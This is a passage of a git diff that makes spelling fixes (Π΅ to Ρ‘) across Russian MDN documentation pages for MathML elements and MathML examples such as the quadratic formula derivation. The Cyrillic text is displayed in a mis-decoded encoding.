+<p class="summary">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ MathML <code>&lt;menclose&gt;</code> ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ своё содСрТимоС Π²ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΉ Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ</code>.</p>
<h2 id="Атрибуты">Атрибуты</h2>
@@ -24,7 +24,7 @@ translation_of: Web/MathML/Element/menclose
<dt id="attr-mathcolor">mathcolor</dt>
<dd>Π¦Π²Π΅Ρ‚ тСкста. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>#rgb</code>, <code>#rrggbb</code> ΠΈ <a href="/ru/docs/CSS/color_value#Color_Keywords">HTML-ΠΈΠΌΠ΅Π½Π° Ρ†Π²Π΅Ρ‚ΠΎΠ²</a>.</dd>
<dt id="attr-notation">notation</dt>
- <dd>Бписок Π½ΠΎΡ‚Π°Ρ†ΠΈΠΉ, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, примСняСмых ΠΊ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтам. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹Π΅ символы ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒΡΡ. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния:
+ <dd>Бписок Π½ΠΎΡ‚Π°Ρ†ΠΈΠΉ, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, примСняСмых ΠΊ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтам. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½Π½Ρ‹Π΅ символы ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒΡΡ. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния:
<table class="standard-table">
<tbody>
<tr>
@@ -61,7 +61,7 @@ translation_of: Web/MathML/Element/menclose
<td><code>roundedbox</code></td>
<td><img alt="roundedbox" src="/files/3171/roundedbox.png"></td>
<td><math> <menclose notation="roundedbox"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ с Π·Π°ΠΊΡ€ΡƒΠ³Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π²Π΅Ρ€ΡˆΠΈΠ½Π°ΠΌΠΈ</td>
+ <td>ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ с Π·Π°ΠΊΡ€ΡƒΠ³Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π²Π΅Ρ€ΡˆΠΈΠ½Π°ΠΌΠΈ</td>
</tr>
<tr>
<td><code>circle</code></td>
@@ -97,25 +97,25 @@ translation_of: Web/MathML/Element/menclose
<td><code>updiagonalstrike</code></td>
<td><img alt="updiagonalstrike" src="/files/3177/updiagonalstrike.png"></td>
<td><math> <menclose notation="updiagonalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>линия, ΠΏΠ΅Ρ€Π΅Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°ΡŽΡ‰Π°Ρ содСрТимоС ΠΎΡ‚ Π»Π΅Π²ΠΎΠ³ΠΎ Π½ΠΈΠ·Π° Π΄ΠΎ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ Π²Π΅Ρ€Ρ…Π°</td>
+ <td>линия, ΠΏΠ΅Ρ€Π΅Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°ΡŽΡ‰Π°Ρ содСрТимоС ΠΎΡ‚ Π»Π΅Π²ΠΎΠ³ΠΎ Π½ΠΈΠ·Π° Π΄ΠΎ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ Π²Π΅Ρ€Ρ…Π°</td>
</tr>
<tr>
<td><code>downdiagonalstrike</code></td>
<td><img alt="downdiagonalstrike" src="/files/3178/downdiagonalstrike.png"></td>
<td><math> <menclose notation="downdiagonalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>линия, ΠΏΠ΅Ρ€Π΅Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°ΡŽΡ‰Π°Ρ содСрТимоС ΠΎΡ‚ Π»Π΅Π²ΠΎΠ³ΠΎ Π²Π΅Ρ€Ρ…Π° Π΄ΠΎ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ Π½ΠΈΠ·Π°</td>
+ <td>линия, ΠΏΠ΅Ρ€Π΅Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°ΡŽΡ‰Π°Ρ содСрТимоС ΠΎΡ‚ Π»Π΅Π²ΠΎΠ³ΠΎ Π²Π΅Ρ€Ρ…Π° Π΄ΠΎ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ Π½ΠΈΠ·Π°</td>
</tr>
<tr>
<td><code>verticalstrike</code></td>
<td><img alt="verticalstrike" src="/files/3179/verticalstrike.png"></td>
<td><math> <menclose notation="verticalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Π°Ρ линия, Π·Π°Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°ΡŽΡ‰Π°Ρ содСрТимоС</td>
+ <td>Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Π°Ρ линия, Π·Π°Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°ΡŽΡ‰Π°Ρ содСрТимоС</td>
</tr>
<tr>
<td><code>horizontalstrike</code></td>
<td><img alt="horizontalstrike" src="/files/3180/horizontalstrike.png"></td>
<td><math> <menclose notation="horizontalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Π°Ρ линия, Π·Π°Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°ΡŽΡ‰Π°Ρ содСрТимоС</td>
+ <td>Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Π°Ρ линия, Π·Π°Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°ΡŽΡ‰Π°Ρ содСрТимоС</td>
</tr>
<tr>
<td><code>madruwb</code></td>
diff --git a/files/ru/web/mathml/element/merror/index.html b/files/ru/web/mathml/element/merror/index.html
index 78db2d09bd..c10046e96b 100644
--- a/files/ru/web/mathml/element/merror/index.html
+++ b/files/ru/web/mathml/element/merror/index.html
@@ -10,7 +10,7 @@ translation_of: Web/MathML/Element/merror
---
<div>{{MathMLRef}}</div>
-<p class="summary">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ MathML <code>&lt;merror&gt;</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отобраТСния содСрТимого Π² Π²ΠΈΠ΄Π΅ сообщСний ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…. Π’ Firefox это сообщСниС ΠΎΠ± ошибкС отобраТаСтся Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΎΠΌΡƒ ΡΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΡŽ ΠΎΠ± ошибкС XML. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ эта ошибка <strong>Π½Π΅</strong> выдаСтся, Ссли ваша Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° MathML Π½Π΅Π²Π΅Ρ€Π½Π° ΠΈΠ»ΠΈ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ сформирован XML. Π’Ρ‹ всС Ρ€Π°Π²Π½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ Ρ€Π°Π·Π±ΠΎΡ€Π° XML (Π² случаС XHTML-Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ MathML), которая Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ ΠΎΠ±Ρ‰Π΅Π³ΠΎ с <code>&lt;merror&gt;</code>.</p>
+<p class="summary">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ MathML <code>&lt;merror&gt;</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отобраТСния содСрТимого Π² Π²ΠΈΠ΄Π΅ сообщСний ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…. Π’ Firefox это сообщСниС ΠΎΠ± ошибкС отобраТаСтся Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΎΠΌΡƒ ΡΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΡŽ ΠΎΠ± ошибкС XML. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ эта ошибка <strong>Π½Π΅</strong> выдаётся, Ссли ваша Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° MathML Π½Π΅Π²Π΅Ρ€Π½Π° ΠΈΠ»ΠΈ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ сформирован XML. Π’Ρ‹ всС Ρ€Π°Π²Π½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ Ρ€Π°Π·Π±ΠΎΡ€Π° XML (Π² случаС XHTML-Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ MathML), которая Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ ΠΎΠ±Ρ‰Π΅Π³ΠΎ с <code>&lt;merror&gt;</code>.</p>
<h2 id="Атрибуты">Атрибуты</h2>
diff --git a/files/ru/web/mathml/element/mover/index.html b/files/ru/web/mathml/element/mover/index.html
index bbc4005440..d047636c21 100644
--- a/files/ru/web/mathml/element/mover/index.html
+++ b/files/ru/web/mathml/element/mover/index.html
@@ -22,7 +22,7 @@ translation_of: Web/MathML/Element/mover
Если установлСно <code>false</code> (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ) over-script <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>это <em>ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅</em> ΠΏΠΎ Π±Π°Π·ΠΎΠ²ΠΎΠΌΡƒ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ.</span></span></span></dd>
<dt id="attr-align">align {{deprecated_inline}}</dt>
<dd><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π½Π°Π΄ сцСнариСм.</span></span></span> Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния: <code>left</code>, <code>center</code>, ΠΈ <code>right</code>.<br>
- <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ устарСл ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ</span></span></span>. ВмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ CSS <code><a href="https://developer.mozilla.org/ru/docs/Web/CSS/text-align">text-align</a></code>.</dd>
+ <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ устарСл ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ</span></span></span>. ВмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ CSS <code><a href="https://developer.mozilla.org/ru/docs/Web/CSS/text-align">text-align</a></code>.</dd>
<dt id="attr-class-id-style">class, id, style</dt>
<dd><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>ΠŸΡ€Π΅Π΄ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΎ для использования с</span></span></span>Β <a href="/ru/docs/Web/CSS">Ρ‚Π°Π±Π»ΠΈΡ†Π°ΠΌΠΈ стилСй</a>.</dd>
<dt id="attr-displaystyle"><code>displaystyle</code></dt>
diff --git a/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html b/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html
index 20ecb0b6a6..1b3016bca9 100644
--- a/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html
+++ b/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html
@@ -14,6 +14,6 @@ original_slug: Web/MathML/ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹/Deriving_the_Quadratic_Formula
---
<p><span class="seoSummary">На этой страницС описываСтся Π²Ρ‹Π²ΠΎΠ΄ ΠšΠ²Π°Π΄Ρ€Π°Ρ‚ΠΈΡ‡Π½ΠΎΠΉ Π€ΠΎΡ€ΠΌΡƒΠ»Ρ‹.</span></p>
-<p><math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow>ΠœΡ‹ Π±Π΅Ρ€Π΅ΠΌ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½ΠΎΠ΅ ΡƒΡ€Π°Π²Π½Π΅Π½ΠΈΠ΅ Π² Π΅Π³ΠΎ ΠΎΠ±Ρ‰Π΅ΠΌ Π²ΠΈΠ΄Π΅ ΠΈ Ρ€Π΅ΡˆΠ°Π΅ΠΌ для Ρ…:<mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace></mrow></mrow></mrow></mrow></mtd></mtr></mtable></math></p>
+<p><math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow>ΠœΡ‹ Π±Π΅Ρ€Ρ‘ΠΌ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½ΠΎΠ΅ ΡƒΡ€Π°Π²Π½Π΅Π½ΠΈΠ΅ Π² Π΅Π³ΠΎ ΠΎΠ±Ρ‰Π΅ΠΌ Π²ΠΈΠ΄Π΅ ΠΈ Ρ€Π΅ΡˆΠ°Π΅ΠΌ для Ρ…:<mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace></mrow></mrow></mrow></mrow></mtd></mtr></mtable></math></p>
<p><math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow> <mi>a</mi> <mo>⁒</mo> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mi>b</mi> <mo>⁒</mo> <mi>x</mi> </mrow> <mo> + </mo> <mi>c</mi> </mrow> <mo>=</mo> <mn>0</mn> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mi>a</mi> <mo>⁒</mo> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mi>b</mi> <mo>⁒</mo> <mi>x</mi> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mrow> <mo>=</mo> <mo>-</mo><mi> c</mi><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mi>a</mi> </mfrac> <mo>⁀</mo> <mi>x</mi> </mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mo>=</mo> <mfrac> <mrow> <mo>-</mo><mi>c</mi> </mrow> <mi>a</mi> </mfrac> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Π”Π΅Π»ΠΈΠΌ Π½Π° Π³Π»Π°Π²Π½Ρ‹ΠΉ коэффициСнт.</mtext> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mi>a</mi> </mfrac> <mo>⁀</mo> <mi>x</mi> <mo> + </mo> <msup> <mfenced> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow> </mfrac> </mfenced> <mn>2</mn> </msup> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo> <mi>c</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow> <mrow> <mi>a</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow></mfrac> </mrow> <mo> + </mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">ДополняСм Π΄ΠΎ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π°.</mtext> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> <mo>=</mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ дискриминант.</mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mrow> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> </mrow> <mn>2</mn> </msup> <mo>=</mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> </mrow> <mo>=</mo> <msqrt> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </msqrt> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo><mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>Β±</mo><mrow><mo>{</mo><mi>C</mi><mo>}</mo></mrow> <msqrt> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </msqrt> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Π­Ρ‚ΠΎ основная Ρ„ΠΎΡ€ΠΌΡƒΠ»Π°.</mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo> <mi> b</mi> <mo>Β±</mo><mrow><mo>{</mo><mi>C</mi><mo>}</mo></mrow> <msqrt> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </msqrt></mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace> <mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> </mtable></math></p>
diff --git a/files/ru/web/mathml/examples/index.html b/files/ru/web/mathml/examples/index.html
index da9fd7af37..021f28be4b 100644
--- a/files/ru/web/mathml/examples/index.html
+++ b/files/ru/web/mathml/examples/index.html
@@ -9,7 +9,7 @@ tags:
translation_of: Web/MathML/Examples
original_slug: Web/MathML/ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹
---
-<p><span class="translation-chunk">НиТС Π’Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π’Π°ΠΌΒ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ MathML для отобраТСния Π±ΠΎΠ»Π΅Π΅ слоТных матСматичСских понятий Π² Π²Π΅Π± содСрТимом.</span></p>
+<p><span class="translation-chunk">НиТС Π’Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π’Π°ΠΌΒ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ MathML для отобраТСния Π±ΠΎΠ»Π΅Π΅ слоТных матСматичСских понятий Π² Π²Π΅Π± содСрТимом.</span></p>
<dl>
<dt><a href="/ru-RU/docs/Web/MathML/Examples/MathML_Pythagorean_Theorem">Π’Π΅ΠΎΡ€Π΅ΠΌΠ° ΠŸΠΈΡ„Π°Π³ΠΎΡ€Π°</a></dt>
diff --git a/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html b/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html
index d3a140ec77..ee163d6e66 100644
--- a/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html
+++ b/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html
@@ -21,7 +21,7 @@ original_slug: Web/MathML/ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹/MathML_Pythagorean_Theorem
<p>Π’ΠΎ Π΅ΡΡ‚ΡŒ, Ссли <math><semantics><mi>a</mi><annotation encoding="TeX">a</annotation></semantics></math>Β ΠΈ <math><semantics><mi>b</mi><annotation encoding="TeX">b</annotation></semantics></math>Β - ΠΊΠ°Ρ‚Π΅Ρ‚Ρ‹, Π° <math><semantics><mi>c</mi><annotation encoding="TeX">c</annotation></semantics></math>Β - Π³ΠΈΠΏΠΎΡ‚Π΅Π½ΡƒΠ·Π°, Ρ‚ΠΎΒ <math><semantics><mrow><msup><mi>a</mi><mn>2</mn></msup><mo>+</mo><msup><mi>b</mi><mn>2</mn></msup><mo>=</mo><msup><mi>c</mi><mn>2</mn></msup></mrow><annotation encoding="TeX">a^2 + b^2 = c^2</annotation></semantics></math>.</p>
-<p><strong><u>Π”ΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒΡΡ‚Π²ΠΎ:</u></strong> ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π΄ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‚Π΅ΠΎΡ€Π΅ΠΌΡƒ алгСбраичСски, ΠΏΠΎΠΊΠ°Π·Π°Π², Ρ‡Ρ‚ΠΎ ΠΏΠ»ΠΎΡ‰Π°Π΄ΡŒ большого ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° Ρ€Π°Π²Π½Π° ΠΏΠ»ΠΎΡ‰Π°Π΄ΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π³ΠΎ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° (ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° Π³ΠΈΠΏΠΎΡ‚Π΅Π½ΡƒΠ·Ρ‹) плюс ΠΏΠ»ΠΎΡ‰Π°Π΄ΡŒ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠ²:</p>
+<p><strong><u>Π”ΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒΡΡ‚Π²ΠΎ:</u></strong> ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π΄ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‚Π΅ΠΎΡ€Π΅ΠΌΡƒ алгСбраичСски, ΠΏΠΎΠΊΠ°Π·Π°Π², Ρ‡Ρ‚ΠΎ ΠΏΠ»ΠΎΡ‰Π°Π΄ΡŒ большого ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° Ρ€Π°Π²Π½Π° ΠΏΠ»ΠΎΡ‰Π°Π΄ΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π³ΠΎ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° (ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° Π³ΠΈΠΏΠΎΡ‚Π΅Π½ΡƒΠ·Ρ‹) плюс ΠΏΠ»ΠΎΡ‰Π°Π΄ΡŒ Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠ²:</p>
